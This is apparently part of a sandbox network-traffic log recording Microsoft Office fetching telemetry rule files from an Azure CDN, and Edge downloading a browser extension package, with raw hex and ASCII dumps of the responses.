2024-11-07 16:25:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:36 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a0219141-901e-005b-3761-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162536Z-15869dbbcc6rzfwxhC1DFWrkb000000003kg000000005xh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:37 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 697e3ed8-001e-0079-4fab-3012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162537Z-15869dbbcc6xpvqthC1DFWq7d800000001yg000000000cbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 11e565ba-b01e-003d-3e55-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162537Z-17df447cdb54qlp6hC1DFWqcfc00000004g000000000h57u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:38 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 9bdc8c39-b01e-003d-1ed2-2cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162537Z-16547b76f7fx6rhxhC1DFW76kg000000089g00000000n4cw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:38 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:38 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:38 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: f75e4c15-501e-0047-0155-2ece6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162538Z-17df447cdb5bz95mhC1DFWnk7w00000004c000000000f574 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:38 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:38 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: bc9744fd-c01e-0014-0b55-2ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162538Z-15869dbbcc6j87jfhC1DFWr0yc00000000mg000000005wzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49906	216.58.206.65	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:38 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-07 16:25:38 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3VkzU6LY_SSUUM2PImWZQ0mLGYaVNCo00hSGlDtuhKzqroo0HkAAOyT0afOdH6JzMTxe1ir9BDgg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Wed, 06 Nov 2024 20:33:29 GMT Expires: Thu, 06 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 71529 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-07 16:25:38 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
